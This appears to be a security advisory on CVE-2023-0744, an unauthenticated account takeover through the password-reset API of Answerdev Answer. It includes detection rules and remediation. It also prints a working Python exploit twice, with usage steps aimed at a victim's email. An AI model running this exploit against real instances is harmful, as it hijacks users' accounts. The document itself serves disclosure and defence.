CVE-2023-0744

Executive Summary

CVE-2023-0744 is a critical Improper Access Control vulnerability in the Answerdev Answer platform (versions prior to 1.0.4). The flaw allows an unauthenticated attacker to trigger a password reset for any known user email and intercept the reset code, leading to a full account takeover. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. A public proof-of-concept exploit is available on Exploit-DB, and no patch was available at the time of disclosure, though upgrading to version 1.0.4 resolves the issue.

Supply Chain & Package Security

This vulnerability affects the Answerdev Answer application, which is distributed as a Go binary and Docker image. Organizations using containerized deployments should verify they are not running an affected version. The exploit targets the password reset API endpoint, which is a common attack vector in web applications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the ease of exploitation and the potential for complete account takeover without any user interaction.

Deep Dive & Mechanics

The vulnerability resides in the password reset functionality of Answerdev Answer. The API endpoint /answer/api/v1/user/password/reset accepts a JSON payload with an e_mail field. Due to improper access control, the server does not validate that the request originates from a legitimate user or session. Instead, it generates a password reset code and returns it directly in the response body. An attacker can craft a POST request with any known email address and receive the reset code, which can then be used to change the victim's password.

The exploit script provided on Exploit-DB demonstrates this by sending a POST request to the vulnerable endpoint and extracting the reset code from the JSON response. The attacker then constructs a password reset link using the code, effectively taking over the account.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.0.4): The password reset endpoint returns the reset code in the response without requiring authentication or additional verification.

// Example response from vulnerable version
{
  "code": 200,
  "data": "abc123resetcode",
  "message": "success"
}

Patched Code (version 1.0.4): The patched version likely sends the reset code via email or requires a session token to prevent direct exposure. The exact patch details are not publicly available, but upgrading to 1.0.4 resolves the issue.

Exploitation & Lab Setup

Red Team

The following exploit script (from Exploit-DB) can be used to perform account takeover:

from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"

if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ myemail@localhost.com")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))

Usage:

1. Run the script with the target URL and victim email:

   python3 exploit.py https://target-answer-instance.com/ victim@example.com
   

2. The script outputs a password reset link.
3. Open the link in a browser and set a new password for the victim's account.

Blue Team

To detect exploitation attempts:

• Monitor logs for POST requests to /answer/api/v1/user/password/reset with unusual frequency or from unexpected IPs.
• Alert on multiple password reset requests for different users from the same source IP.
• Check for responses containing reset codes in the JSON body (indicating the vulnerability is being exploited).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /answer/api/v1/user/password/reset with JSON body {"e_mail": "<email>"}
  • Responses containing a data field with a reset code (e.g., "data": "abc123")
• File IOCs:
  • Log entries showing password reset requests without prior authentication
• Behavioral IOCs:
  • Multiple password reset attempts in a short time window
  • Password changes for accounts that did not initiate a reset

Detection Engineering

YARA Rule

rule CVE_2023_0744_Answerdev_Account_Takeover {
    meta:
        description = "Detects exploit attempts for CVE-2023-0744 in Answerdev Answer"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-0744"
    strings:
        $s1 = "/answer/api/v1/user/password/reset" ascii wide nocase
        $s2 = "e_mail" ascii wide nocase
        $s3 = "password-reset?code=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-0744 Answerdev Password Reset Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts for CVE-2023-0744 targeting Answerdev Answer password reset endpoint
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/answer/api/v1/user/password/reset'
        cs-uri-query: '*'
    condition: selection
falsepositives:
    - Legitimate password reset requests from users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-0744 Answerdev Password Reset Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/answer/api/v1/user/password/reset"; http_uri; content:"e_mail"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Answerdev Answer to version 1.0.4 or later.
2. Workaround: If upgrading is not possible, restrict access to the password reset endpoint using a Web Application Firewall (WAF) or reverse proxy to allow only authenticated users.
3. Monitoring: Enable detailed logging for password reset requests and monitor for anomalies.
4. User Awareness: Advise users to enable multi-factor authentication (MFA) if supported.

Valters IT

{/* [Security Hash: DA954FD86F6CC85B9CB78AD7] */}

# Exploit Title: Answerdev 1.0.3 - Account Takeover
# Date: Reported on Jan 24th 2023
# Exploit Author: Eduardo Pérez-Malumbres Cervera @blueudp
# Vendor Homepage: https://answer.dev/
# Software Link: https://github.com/answerdev/answer
# Version: 1.0.3
# Tested on: Ubuntu 22.04 / Debian 11
# CVE : CVE-2023-0744


from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"


if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ myemail@localhost.com")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))